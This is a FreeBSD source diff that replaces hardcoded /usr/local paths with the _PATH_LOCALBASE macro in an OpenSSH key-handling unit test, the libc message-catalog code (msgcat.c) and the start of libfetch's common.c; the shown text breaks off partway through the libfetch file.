Index: head/crypto/openssh/regress/unittests/sshkey/test_sshkey.c =================================================================== --- head/crypto/openssh/regress/unittests/sshkey/test_sshkey.c (revision 367074) +++ head/crypto/openssh/regress/unittests/sshkey/test_sshkey.c (revision 367075) @@ -1,508 +1,509 @@ /* $OpenBSD: test_sshkey.c,v 1.17 2018/09/13 09:03:20 djm Exp $ */ /* * Regress test for sshkey.h key management API * * Placed in the public domain */ #include "includes.h" #include #include +#include #include #ifdef HAVE_STDINT_H #include #endif #include #include #include #include #include #if defined(OPENSSL_HAS_ECC) && defined(OPENSSL_HAS_NISTP256) # include #endif #include "../test_helper/test_helper.h" #include "ssherr.h" #include "sshbuf.h" #define SSHBUF_INTERNAL 1 /* access internals for testing */ #include "sshkey.h" #include "authfile.h" #include "common.h" #include "ssh2.h" void sshkey_tests(void); static void put_opt(struct sshbuf *b, const char *name, const char *value) { struct sshbuf *sect; sect = sshbuf_new(); ASSERT_PTR_NE(sect, NULL); ASSERT_INT_EQ(sshbuf_put_cstring(b, name), 0); if (value != NULL) ASSERT_INT_EQ(sshbuf_put_cstring(sect, value), 0); ASSERT_INT_EQ(sshbuf_put_stringb(b, sect), 0); sshbuf_free(sect); } static void build_cert(struct sshbuf *b, const struct sshkey *k, const char *type, const struct sshkey *sign_key, const struct sshkey *ca_key, const char *sig_alg) { struct sshbuf *ca_buf, *pk, *principals, *critopts, *exts; u_char *sigblob; size_t siglen; ca_buf = sshbuf_new(); ASSERT_PTR_NE(ca_buf, NULL); ASSERT_INT_EQ(sshkey_putb(ca_key, ca_buf), 0); /* * Get the public key serialisation by rendering the key and skipping * the type string. This is a bit of a hack :/ */ pk = sshbuf_new(); ASSERT_PTR_NE(pk, NULL); ASSERT_INT_EQ(sshkey_putb_plain(k, pk), 0); ASSERT_INT_EQ(sshbuf_skip_string(pk), 0); principals = sshbuf_new(); ASSERT_PTR_NE(principals, NULL); ASSERT_INT_EQ(sshbuf_put_cstring(principals, "gsamsa"), 0); ASSERT_INT_EQ(sshbuf_put_cstring(principals, "gregor"), 0); critopts = sshbuf_new(); ASSERT_PTR_NE(critopts, NULL); - put_opt(critopts, "force-command", "/usr/local/bin/nethack"); + put_opt(critopts, "force-command", _PATH_LOCALBASE "/bin/nethack"); put_opt(critopts, "source-address", "192.168.0.0/24,127.0.0.1,::1"); exts = sshbuf_new(); ASSERT_PTR_NE(exts, NULL); put_opt(critopts, "permit-X11-forwarding", NULL); ASSERT_INT_EQ(sshbuf_put_cstring(b, type), 0); ASSERT_INT_EQ(sshbuf_put_cstring(b, "noncenoncenonce!"), 0); /* nonce */ ASSERT_INT_EQ(sshbuf_putb(b, pk), 0); /* public key serialisation */ ASSERT_INT_EQ(sshbuf_put_u64(b, 1234), 0); /* serial */ ASSERT_INT_EQ(sshbuf_put_u32(b, SSH2_CERT_TYPE_USER), 0); /* type */ ASSERT_INT_EQ(sshbuf_put_cstring(b, "gregor"), 0); /* key ID */ ASSERT_INT_EQ(sshbuf_put_stringb(b, principals), 0); /* principals */ ASSERT_INT_EQ(sshbuf_put_u64(b, 0), 0); /* start */ ASSERT_INT_EQ(sshbuf_put_u64(b, 0xffffffffffffffffULL), 0); /* end */ ASSERT_INT_EQ(sshbuf_put_stringb(b, critopts), 0); /* options */ ASSERT_INT_EQ(sshbuf_put_stringb(b, exts), 0); /* extensions */ ASSERT_INT_EQ(sshbuf_put_string(b, NULL, 0), 0); /* reserved */ ASSERT_INT_EQ(sshbuf_put_stringb(b, ca_buf), 0); /* signature key */ ASSERT_INT_EQ(sshkey_sign(sign_key, &sigblob, &siglen, sshbuf_ptr(b), sshbuf_len(b), sig_alg, 0), 0); ASSERT_INT_EQ(sshbuf_put_string(b, sigblob, siglen), 0); /* signature */ free(sigblob); sshbuf_free(ca_buf); sshbuf_free(exts); sshbuf_free(critopts); sshbuf_free(principals); sshbuf_free(pk); } static void signature_test(struct sshkey *k, struct sshkey *bad, const char *sig_alg, const u_char *d, size_t l) { size_t len; u_char *sig; ASSERT_INT_EQ(sshkey_sign(k, &sig, &len, d, l, sig_alg, 0), 0); ASSERT_SIZE_T_GT(len, 8); ASSERT_PTR_NE(sig, NULL); ASSERT_INT_EQ(sshkey_verify(k, sig, len, d, l, NULL, 0), 0); ASSERT_INT_NE(sshkey_verify(bad, sig, len, d, l, NULL, 0), 0); /* Fuzz test is more comprehensive, this is just a smoke test */ sig[len - 5] ^= 0x10; ASSERT_INT_NE(sshkey_verify(k, sig, len, d, l, NULL, 0), 0); free(sig); } static void banana(u_char *s, size_t l) { size_t o; const u_char the_banana[] = { 'b', 'a', 'n', 'a', 'n', 'a' }; for (o = 0; o < l; o += sizeof(the_banana)) { if (l - o < sizeof(the_banana)) { memcpy(s + o, "nanananana", l - o); break; } memcpy(s + o, banana, sizeof(the_banana)); } } static void signature_tests(struct sshkey *k, struct sshkey *bad, const char *sig_alg) { u_char i, buf[2049]; size_t lens[] = { 1, 2, 7, 8, 9, 15, 16, 17, 31, 32, 33, 127, 128, 129, 255, 256, 257, 1023, 1024, 1025, 2047, 2048, 2049 }; for (i = 0; i < (sizeof(lens)/sizeof(lens[0])); i++) { test_subtest_info("%s key, banana length %zu", sshkey_type(k), lens[i]); banana(buf, lens[i]); signature_test(k, bad, sig_alg, buf, lens[i]); } } static struct sshkey * get_private(const char *n) { struct sshbuf *b; struct sshkey *ret; b = load_file(n); ASSERT_INT_EQ(sshkey_parse_private_fileblob(b, "", &ret, NULL), 0); sshbuf_free(b); return ret; } void sshkey_tests(void) { struct sshkey *k1, *k2, *k3, *k4, *kr, *kd, *kf; #ifdef OPENSSL_HAS_ECC struct sshkey *ke; #endif struct sshbuf *b; TEST_START("new invalid"); k1 = sshkey_new(-42); ASSERT_PTR_EQ(k1, NULL); TEST_DONE(); TEST_START("new/free KEY_UNSPEC"); k1 = sshkey_new(KEY_UNSPEC); ASSERT_PTR_NE(k1, NULL); sshkey_free(k1); TEST_DONE(); TEST_START("new/free KEY_RSA"); k1 = sshkey_new(KEY_RSA); ASSERT_PTR_NE(k1, NULL); ASSERT_PTR_NE(k1->rsa, NULL); sshkey_free(k1); TEST_DONE(); TEST_START("new/free KEY_DSA"); k1 = sshkey_new(KEY_DSA); ASSERT_PTR_NE(k1, NULL); ASSERT_PTR_NE(k1->dsa, NULL); sshkey_free(k1); TEST_DONE(); #ifdef OPENSSL_HAS_ECC TEST_START("new/free KEY_ECDSA"); k1 = sshkey_new(KEY_ECDSA); ASSERT_PTR_NE(k1, NULL); ASSERT_PTR_EQ(k1->ecdsa, NULL); /* Can't allocate without NID */ sshkey_free(k1); TEST_DONE(); #endif TEST_START("new/free KEY_ED25519"); k1 = sshkey_new(KEY_ED25519); ASSERT_PTR_NE(k1, NULL); /* These should be blank until key loaded or generated */ ASSERT_PTR_EQ(k1->ed25519_sk, NULL); ASSERT_PTR_EQ(k1->ed25519_pk, NULL); sshkey_free(k1); TEST_DONE(); TEST_START("generate KEY_RSA too small modulus"); ASSERT_INT_EQ(sshkey_generate(KEY_RSA, 128, &k1), SSH_ERR_KEY_LENGTH); ASSERT_PTR_EQ(k1, NULL); TEST_DONE(); TEST_START("generate KEY_RSA too large modulus"); ASSERT_INT_EQ(sshkey_generate(KEY_RSA, 1 << 20, &k1), SSH_ERR_KEY_LENGTH); ASSERT_PTR_EQ(k1, NULL); TEST_DONE(); TEST_START("generate KEY_DSA wrong bits"); ASSERT_INT_EQ(sshkey_generate(KEY_DSA, 2048, &k1), SSH_ERR_KEY_LENGTH); ASSERT_PTR_EQ(k1, NULL); sshkey_free(k1); TEST_DONE(); #ifdef OPENSSL_HAS_ECC TEST_START("generate KEY_ECDSA wrong bits"); ASSERT_INT_EQ(sshkey_generate(KEY_ECDSA, 42, &k1), SSH_ERR_KEY_LENGTH); ASSERT_PTR_EQ(k1, NULL); sshkey_free(k1); TEST_DONE(); #endif TEST_START("generate KEY_RSA"); ASSERT_INT_EQ(sshkey_generate(KEY_RSA, 767, &kr), SSH_ERR_KEY_LENGTH); ASSERT_INT_EQ(sshkey_generate(KEY_RSA, 1024, &kr), 0); ASSERT_PTR_NE(kr, NULL); ASSERT_PTR_NE(kr->rsa, NULL); ASSERT_PTR_NE(rsa_n(kr), NULL); ASSERT_PTR_NE(rsa_e(kr), NULL); ASSERT_PTR_NE(rsa_p(kr), NULL); ASSERT_INT_EQ(BN_num_bits(rsa_n(kr)), 1024); TEST_DONE(); TEST_START("generate KEY_DSA"); ASSERT_INT_EQ(sshkey_generate(KEY_DSA, 1024, &kd), 0); ASSERT_PTR_NE(kd, NULL); ASSERT_PTR_NE(kd->dsa, NULL); ASSERT_PTR_NE(dsa_g(kd), NULL); ASSERT_PTR_NE(dsa_priv_key(kd), NULL); TEST_DONE(); #ifdef OPENSSL_HAS_ECC TEST_START("generate KEY_ECDSA"); ASSERT_INT_EQ(sshkey_generate(KEY_ECDSA, 256, &ke), 0); ASSERT_PTR_NE(ke, NULL); ASSERT_PTR_NE(ke->ecdsa, NULL); ASSERT_PTR_NE(EC_KEY_get0_public_key(ke->ecdsa), NULL); ASSERT_PTR_NE(EC_KEY_get0_private_key(ke->ecdsa), NULL); TEST_DONE(); #endif TEST_START("generate KEY_ED25519"); ASSERT_INT_EQ(sshkey_generate(KEY_ED25519, 256, &kf), 0); ASSERT_PTR_NE(kf, NULL); ASSERT_INT_EQ(kf->type, KEY_ED25519); ASSERT_PTR_NE(kf->ed25519_pk, NULL); ASSERT_PTR_NE(kf->ed25519_sk, NULL); TEST_DONE(); TEST_START("demote KEY_RSA"); ASSERT_INT_EQ(sshkey_from_private(kr, &k1), 0); ASSERT_PTR_NE(k1, NULL); ASSERT_PTR_NE(kr, k1); ASSERT_INT_EQ(k1->type, KEY_RSA); ASSERT_PTR_NE(k1->rsa, NULL); ASSERT_PTR_NE(rsa_n(k1), NULL); ASSERT_PTR_NE(rsa_e(k1), NULL); ASSERT_PTR_EQ(rsa_p(k1), NULL); TEST_DONE(); TEST_START("equal KEY_RSA/demoted KEY_RSA"); ASSERT_INT_EQ(sshkey_equal(kr, k1), 1); sshkey_free(k1); TEST_DONE(); TEST_START("demote KEY_DSA"); ASSERT_INT_EQ(sshkey_from_private(kd, &k1), 0); ASSERT_PTR_NE(k1, NULL); ASSERT_PTR_NE(kd, k1); ASSERT_INT_EQ(k1->type, KEY_DSA); ASSERT_PTR_NE(k1->dsa, NULL); ASSERT_PTR_NE(dsa_g(k1), NULL); ASSERT_PTR_EQ(dsa_priv_key(k1), NULL); TEST_DONE(); TEST_START("equal KEY_DSA/demoted KEY_DSA"); ASSERT_INT_EQ(sshkey_equal(kd, k1), 1); sshkey_free(k1); TEST_DONE(); #ifdef OPENSSL_HAS_ECC TEST_START("demote KEY_ECDSA"); ASSERT_INT_EQ(sshkey_from_private(ke, &k1), 0); ASSERT_PTR_NE(k1, NULL); ASSERT_PTR_NE(ke, k1); ASSERT_INT_EQ(k1->type, KEY_ECDSA); ASSERT_PTR_NE(k1->ecdsa, NULL); ASSERT_INT_EQ(k1->ecdsa_nid, ke->ecdsa_nid); ASSERT_PTR_NE(EC_KEY_get0_public_key(ke->ecdsa), NULL); ASSERT_PTR_EQ(EC_KEY_get0_private_key(k1->ecdsa), NULL); TEST_DONE(); TEST_START("equal KEY_ECDSA/demoted KEY_ECDSA"); ASSERT_INT_EQ(sshkey_equal(ke, k1), 1); sshkey_free(k1); TEST_DONE(); #endif TEST_START("demote KEY_ED25519"); ASSERT_INT_EQ(sshkey_from_private(kf, &k1), 0); ASSERT_PTR_NE(k1, NULL); ASSERT_PTR_NE(kf, k1); ASSERT_INT_EQ(k1->type, KEY_ED25519); ASSERT_PTR_NE(k1->ed25519_pk, NULL); ASSERT_PTR_EQ(k1->ed25519_sk, NULL); TEST_DONE(); TEST_START("equal KEY_ED25519/demoted KEY_ED25519"); ASSERT_INT_EQ(sshkey_equal(kf, k1), 1); sshkey_free(k1); TEST_DONE(); TEST_START("equal mismatched key types"); ASSERT_INT_EQ(sshkey_equal(kd, kr), 0); #ifdef OPENSSL_HAS_ECC ASSERT_INT_EQ(sshkey_equal(kd, ke), 0); ASSERT_INT_EQ(sshkey_equal(kr, ke), 0); ASSERT_INT_EQ(sshkey_equal(ke, kf), 0); #endif ASSERT_INT_EQ(sshkey_equal(kd, kf), 0); TEST_DONE(); TEST_START("equal different keys"); ASSERT_INT_EQ(sshkey_generate(KEY_RSA, 1024, &k1), 0); ASSERT_INT_EQ(sshkey_equal(kr, k1), 0); sshkey_free(k1); ASSERT_INT_EQ(sshkey_generate(KEY_DSA, 1024, &k1), 0); ASSERT_INT_EQ(sshkey_equal(kd, k1), 0); sshkey_free(k1); #ifdef OPENSSL_HAS_ECC ASSERT_INT_EQ(sshkey_generate(KEY_ECDSA, 256, &k1), 0); ASSERT_INT_EQ(sshkey_equal(ke, k1), 0); sshkey_free(k1); #endif ASSERT_INT_EQ(sshkey_generate(KEY_ED25519, 256, &k1), 0); ASSERT_INT_EQ(sshkey_equal(kf, k1), 0); sshkey_free(k1); TEST_DONE(); sshkey_free(kr); sshkey_free(kd); #ifdef OPENSSL_HAS_ECC sshkey_free(ke); #endif sshkey_free(kf); TEST_START("certify key"); ASSERT_INT_EQ(sshkey_load_public(test_data_file("ed25519_1.pub"), &k1, NULL), 0); k2 = get_private("ed25519_2"); ASSERT_INT_EQ(sshkey_to_certified(k1), 0); ASSERT_PTR_NE(k1->cert, NULL); k1->cert->type = SSH2_CERT_TYPE_USER; k1->cert->serial = 1234; k1->cert->key_id = strdup("estragon"); ASSERT_PTR_NE(k1->cert->key_id, NULL); k1->cert->principals = calloc(4, sizeof(*k1->cert->principals)); ASSERT_PTR_NE(k1->cert->principals, NULL); k1->cert->principals[0] = strdup("estragon"); k1->cert->principals[1] = strdup("vladimir"); k1->cert->principals[2] = strdup("pozzo"); k1->cert->principals[3] = strdup("lucky"); ASSERT_PTR_NE(k1->cert->principals[0], NULL); ASSERT_PTR_NE(k1->cert->principals[1], NULL); ASSERT_PTR_NE(k1->cert->principals[2], NULL); ASSERT_PTR_NE(k1->cert->principals[3], NULL); k1->cert->nprincipals = 4; k1->cert->valid_after = 0; k1->cert->valid_before = (u_int64_t)-1; sshbuf_free(k1->cert->critical); k1->cert->critical = sshbuf_new(); ASSERT_PTR_NE(k1->cert->critical, NULL); sshbuf_free(k1->cert->extensions); k1->cert->extensions = sshbuf_new(); ASSERT_PTR_NE(k1->cert->extensions, NULL); put_opt(k1->cert->critical, "force-command", "/usr/bin/true"); put_opt(k1->cert->critical, "source-address", "127.0.0.1"); put_opt(k1->cert->extensions, "permit-X11-forwarding", NULL); put_opt(k1->cert->extensions, "permit-agent-forwarding", NULL); ASSERT_INT_EQ(sshkey_from_private(k2, &k1->cert->signature_key), 0); ASSERT_INT_EQ(sshkey_certify(k1, k2, NULL), 0); b = sshbuf_new(); ASSERT_PTR_NE(b, NULL); ASSERT_INT_EQ(sshkey_putb(k1, b), 0); ASSERT_INT_EQ(sshkey_from_blob(sshbuf_ptr(b), sshbuf_len(b), &k3), 0); sshkey_free(k1); sshkey_free(k2); sshkey_free(k3); sshbuf_reset(b); TEST_DONE(); TEST_START("sign and verify RSA"); k1 = get_private("rsa_1"); ASSERT_INT_EQ(sshkey_load_public(test_data_file("rsa_2.pub"), &k2, NULL), 0); signature_tests(k1, k2, "ssh-rsa"); sshkey_free(k1); sshkey_free(k2); TEST_DONE(); TEST_START("sign and verify RSA-SHA256"); k1 = get_private("rsa_1"); ASSERT_INT_EQ(sshkey_load_public(test_data_file("rsa_2.pub"), &k2, NULL), 0); signature_tests(k1, k2, "rsa-sha2-256"); sshkey_free(k1); sshkey_free(k2); TEST_DONE(); TEST_START("sign and verify RSA-SHA512"); k1 = get_private("rsa_1"); ASSERT_INT_EQ(sshkey_load_public(test_data_file("rsa_2.pub"), &k2, NULL), 0); signature_tests(k1, k2, "rsa-sha2-512"); sshkey_free(k1); sshkey_free(k2); TEST_DONE(); TEST_START("sign and verify DSA"); k1 = get_private("dsa_1"); ASSERT_INT_EQ(sshkey_load_public(test_data_file("dsa_2.pub"), &k2, NULL), 0); signature_tests(k1, k2, NULL); sshkey_free(k1); sshkey_free(k2); TEST_DONE(); #ifdef OPENSSL_HAS_ECC TEST_START("sign and verify ECDSA"); k1 = get_private("ecdsa_1"); ASSERT_INT_EQ(sshkey_load_public(test_data_file("ecdsa_2.pub"), &k2, NULL), 0); signature_tests(k1, k2, NULL); sshkey_free(k1); sshkey_free(k2); TEST_DONE(); #endif TEST_START("sign and verify ED25519"); k1 = get_private("ed25519_1"); ASSERT_INT_EQ(sshkey_load_public(test_data_file("ed25519_2.pub"), &k2, NULL), 0); signature_tests(k1, k2, NULL); sshkey_free(k1); sshkey_free(k2); TEST_DONE(); TEST_START("nested certificate"); ASSERT_INT_EQ(sshkey_load_cert(test_data_file("rsa_1"), &k1), 0); ASSERT_INT_EQ(sshkey_load_public(test_data_file("rsa_1.pub"), &k2, NULL), 0); k3 = get_private("rsa_1"); build_cert(b, k2, "ssh-rsa-cert-v01@openssh.com", k3, k1, NULL); ASSERT_INT_EQ(sshkey_from_blob(sshbuf_ptr(b), sshbuf_len(b), &k4), SSH_ERR_KEY_CERT_INVALID_SIGN_KEY); ASSERT_PTR_EQ(k4, NULL); sshkey_free(k1); sshkey_free(k2); sshkey_free(k3); sshbuf_free(b); TEST_DONE(); } Index: head/lib/libc/nls/msgcat.c =================================================================== --- head/lib/libc/nls/msgcat.c (revision 367074) +++ head/lib/libc/nls/msgcat.c (revision 367075) @@ -1,474 +1,477 @@ /*********************************************************** Copyright 1990, by Alfalfa Software Incorporated, Cambridge, Massachusetts. Copyright 2010, Gabor Kovesdan All Rights Reserved Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation, and that Alfalfa's name not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. ALPHALPHA DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL ALPHALPHA BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. If you make any modifications, bugfixes or other changes to this software we'd appreciate it if you could send a copy to us so we can keep things up-to-date. Many thanks. Kee Hinckley Alfalfa Software, Inc. 267 Allston St., #3 Cambridge, MA 02139 USA nazgul@alfalfa.com ******************************************************************/ #include __FBSDID("$FreeBSD$"); #define _NLS_PRIVATE #include "namespace.h" #include #include #include #include #include /* for ntohl() */ #include #include #include #include #include +#include #include #include #include #include #include #include "un-namespace.h" #include "../locale/xlocale_private.h" -#define _DEFAULT_NLS_PATH "/usr/share/nls/%L/%N.cat:/usr/share/nls/%N/%L:/usr/local/share/nls/%L/%N.cat:/usr/local/share/nls/%N/%L" +#define _DEFAULT_NLS_PATH "/usr/share/nls/%L/%N.cat:/usr/share/nls/%N/%L:" \ + _PATH_LOCALBASE "/share/nls/%L/%N.cat:" \ + _PATH_LOCALBASE "/share/nls/%N/%L" #define RLOCK(fail) { int ret; \ if (__isthreaded && \ ((ret = _pthread_rwlock_rdlock(&rwlock)) != 0)) { \ errno = ret; \ return (fail); \ }} #define WLOCK(fail) { int ret; \ if (__isthreaded && \ ((ret = _pthread_rwlock_wrlock(&rwlock)) != 0)) { \ errno = ret; \ return (fail); \ }} #define UNLOCK { if (__isthreaded) \ _pthread_rwlock_unlock(&rwlock); } #define NLERR ((nl_catd) -1) #define NLRETERR(errc) { errno = errc; return (NLERR); } #define SAVEFAIL(n, l, e) { np = calloc(1, sizeof(struct catentry)); \ if (np != NULL) { \ np->name = strdup(n); \ np->catd = NLERR; \ np->lang = (l == NULL) ? NULL : \ strdup(l); \ np->caterrno = e; \ if (np->name == NULL || \ (l != NULL && np->lang == NULL)) { \ free(np->name); \ free(np->lang); \ free(np); \ } else { \ WLOCK(NLERR); \ SLIST_INSERT_HEAD(&cache, np, \ list); \ UNLOCK; \ } \ } \ errno = e; \ } static nl_catd load_msgcat(const char *, const char *, const char *); static pthread_rwlock_t rwlock = PTHREAD_RWLOCK_INITIALIZER; struct catentry { SLIST_ENTRY(catentry) list; char *name; char *path; int caterrno; nl_catd catd; char *lang; int refcount; }; SLIST_HEAD(listhead, catentry) cache = SLIST_HEAD_INITIALIZER(cache); nl_catd catopen(const char *name, int type) { struct stat sbuf; struct catentry *np; char *base, *cptr, *cptr1, *nlspath, *pathP, *pcode; char *plang, *pter; int saverr, spcleft; const char *lang, *tmpptr; char path[PATH_MAX]; /* sanity checking */ if (name == NULL || *name == '\0') NLRETERR(EINVAL); if (strchr(name, '/') != NULL) /* have a pathname */ lang = NULL; else { if (type == NL_CAT_LOCALE) lang = querylocale(LC_MESSAGES_MASK, __get_locale()); else lang = getenv("LANG"); if (lang == NULL || *lang == '\0' || strlen(lang) > ENCODING_LEN || (lang[0] == '.' && (lang[1] == '\0' || (lang[1] == '.' && lang[2] == '\0'))) || strchr(lang, '/') != NULL) lang = "C"; } /* Try to get it from the cache first */ RLOCK(NLERR); SLIST_FOREACH(np, &cache, list) { if ((strcmp(np->name, name) == 0) && ((lang != NULL && np->lang != NULL && strcmp(np->lang, lang) == 0) || (np->lang == lang))) { if (np->caterrno != 0) { /* Found cached failing entry */ UNLOCK; NLRETERR(np->caterrno); } else { /* Found cached successful entry */ atomic_add_int(&np->refcount, 1); UNLOCK; return (np->catd); } } } UNLOCK; /* is it absolute path ? if yes, load immediately */ if (strchr(name, '/') != NULL) return (load_msgcat(name, name, lang)); /* sanity checking */ if ((plang = cptr1 = strdup(lang)) == NULL) return (NLERR); if ((cptr = strchr(cptr1, '@')) != NULL) *cptr = '\0'; pter = pcode = ""; if ((cptr = strchr(cptr1, '_')) != NULL) { *cptr++ = '\0'; pter = cptr1 = cptr; } if ((cptr = strchr(cptr1, '.')) != NULL) { *cptr++ = '\0'; pcode = cptr; } if ((nlspath = getenv("NLSPATH")) == NULL || issetugid()) nlspath = _DEFAULT_NLS_PATH; if ((base = cptr = strdup(nlspath)) == NULL) { saverr = errno; free(plang); errno = saverr; return (NLERR); } while ((nlspath = strsep(&cptr, ":")) != NULL) { pathP = path; if (*nlspath) { for (; *nlspath; ++nlspath) { if (*nlspath == '%') { switch (*(nlspath + 1)) { case 'l': tmpptr = plang; break; case 't': tmpptr = pter; break; case 'c': tmpptr = pcode; break; case 'L': tmpptr = lang; break; case 'N': tmpptr = (char *)name; break; case '%': ++nlspath; /* FALLTHROUGH */ default: if (pathP - path >= sizeof(path) - 1) goto too_long; *(pathP++) = *nlspath; continue; } ++nlspath; put_tmpptr: spcleft = sizeof(path) - (pathP - path) - 1; if (strlcpy(pathP, tmpptr, spcleft) >= spcleft) { too_long: free(plang); free(base); SAVEFAIL(name, lang, ENAMETOOLONG); NLRETERR(ENAMETOOLONG); } pathP += strlen(tmpptr); } else { if (pathP - path >= sizeof(path) - 1) goto too_long; *(pathP++) = *nlspath; } } *pathP = '\0'; if (stat(path, &sbuf) == 0) { free(plang); free(base); return (load_msgcat(path, name, lang)); } } else { tmpptr = (char *)name; --nlspath; goto put_tmpptr; } } free(plang); free(base); SAVEFAIL(name, lang, ENOENT); NLRETERR(ENOENT); } char * catgets(nl_catd catd, int set_id, int msg_id, const char *s) { struct _nls_cat_hdr *cat_hdr; struct _nls_msg_hdr *msg_hdr; struct _nls_set_hdr *set_hdr; int i, l, r, u; if (catd == NULL || catd == NLERR) { errno = EBADF; /* LINTED interface problem */ return ((char *)s); } cat_hdr = (struct _nls_cat_hdr *)catd->__data; set_hdr = (struct _nls_set_hdr *)(void *)((char *)catd->__data + sizeof(struct _nls_cat_hdr)); /* binary search, see knuth algorithm b */ l = 0; u = ntohl((u_int32_t)cat_hdr->__nsets) - 1; while (l <= u) { i = (l + u) / 2; r = set_id - ntohl((u_int32_t)set_hdr[i].__setno); if (r == 0) { msg_hdr = (struct _nls_msg_hdr *) (void *)((char *)catd->__data + sizeof(struct _nls_cat_hdr) + ntohl((u_int32_t)cat_hdr->__msg_hdr_offset)); l = ntohl((u_int32_t)set_hdr[i].__index); u = l + ntohl((u_int32_t)set_hdr[i].__nmsgs) - 1; while (l <= u) { i = (l + u) / 2; r = msg_id - ntohl((u_int32_t)msg_hdr[i].__msgno); if (r == 0) { return ((char *) catd->__data + sizeof(struct _nls_cat_hdr) + ntohl((u_int32_t) cat_hdr->__msg_txt_offset) + ntohl((u_int32_t) msg_hdr[i].__offset)); } else if (r < 0) { u = i - 1; } else { l = i + 1; } } /* not found */ goto notfound; } else if (r < 0) { u = i - 1; } else { l = i + 1; } } notfound: /* not found */ errno = ENOMSG; /* LINTED interface problem */ return ((char *)s); } static void catfree(struct catentry *np) { if (np->catd != NULL && np->catd != NLERR) { munmap(np->catd->__data, (size_t)np->catd->__size); free(np->catd); } SLIST_REMOVE(&cache, np, catentry, list); free(np->name); free(np->path); free(np->lang); free(np); } int catclose(nl_catd catd) { struct catentry *np; /* sanity checking */ if (catd == NULL || catd == NLERR) { errno = EBADF; return (-1); } /* Remove from cache if not referenced any more */ WLOCK(-1); SLIST_FOREACH(np, &cache, list) { if (catd == np->catd) { if (atomic_fetchadd_int(&np->refcount, -1) == 1) catfree(np); break; } } UNLOCK; return (0); } /* * Internal support functions */ static nl_catd load_msgcat(const char *path, const char *name, const char *lang) { struct stat st; nl_catd catd; struct catentry *np; void *data; char *copy_path, *copy_name, *copy_lang; int fd; /* path/name will never be NULL here */ /* * One more try in cache; if it was not found by name, * it might still be found by absolute path. */ RLOCK(NLERR); SLIST_FOREACH(np, &cache, list) { if ((np->path != NULL) && (strcmp(np->path, path) == 0)) { atomic_add_int(&np->refcount, 1); UNLOCK; return (np->catd); } } UNLOCK; if ((fd = _open(path, O_RDONLY | O_CLOEXEC)) == -1) { SAVEFAIL(name, lang, errno); NLRETERR(errno); } if (_fstat(fd, &st) != 0) { _close(fd); SAVEFAIL(name, lang, EFTYPE); NLRETERR(EFTYPE); } /* * If the file size cannot be held in size_t we cannot mmap() * it to the memory. Probably, this will not be a problem given * that catalog files are usually small. */ if (st.st_size > SIZE_T_MAX) { _close(fd); SAVEFAIL(name, lang, EFBIG); NLRETERR(EFBIG); } if ((data = mmap(0, (size_t)st.st_size, PROT_READ, MAP_FILE|MAP_SHARED, fd, (off_t)0)) == MAP_FAILED) { int saved_errno = errno; _close(fd); SAVEFAIL(name, lang, saved_errno); NLRETERR(saved_errno); } _close(fd); if (ntohl((u_int32_t)((struct _nls_cat_hdr *)data)->__magic) != _NLS_MAGIC) { munmap(data, (size_t)st.st_size); SAVEFAIL(name, lang, EFTYPE); NLRETERR(EFTYPE); } copy_name = strdup(name); copy_path = strdup(path); copy_lang = (lang == NULL) ? NULL : strdup(lang); catd = malloc(sizeof (*catd)); np = calloc(1, sizeof(struct catentry)); if (copy_name == NULL || copy_path == NULL || (lang != NULL && copy_lang == NULL) || catd == NULL || np == NULL) { free(copy_name); free(copy_path); free(copy_lang); free(catd); free(np); munmap(data, (size_t)st.st_size); SAVEFAIL(name, lang, ENOMEM); NLRETERR(ENOMEM); } catd->__data = data; catd->__size = (int)st.st_size; /* Caching opened catalog */ np->name = copy_name; np->path = copy_path; np->catd = catd; np->lang = copy_lang; atomic_store_int(&np->refcount, 1); WLOCK(NLERR); SLIST_INSERT_HEAD(&cache, np, list); UNLOCK; return (catd); } Index: head/lib/libfetch/common.c =================================================================== --- head/lib/libfetch/common.c (revision 367074) +++ head/lib/libfetch/common.c (revision 367075) @@ -1,1804 +1,1805 @@ /*- * SPDX-License-Identifier: BSD-3-Clause * * Copyright (c) 1998-2016 Dag-Erling Smørgrav * Copyright (c) 2013 Michael Gmelin * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer * in this position and unchanged. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include __FBSDID("$FreeBSD$"); #include #include #include #include #include #include #include #include #include #include +#include #include #include #include #include #include #include #include #ifdef WITH_SSL #include #endif #include "fetch.h" #include "common.h" /*** Local data **************************************************************/ /* * Error messages for resolver errors */ static struct fetcherr netdb_errlist[] = { #ifdef EAI_NODATA { EAI_NODATA, FETCH_RESOLV, "Host not 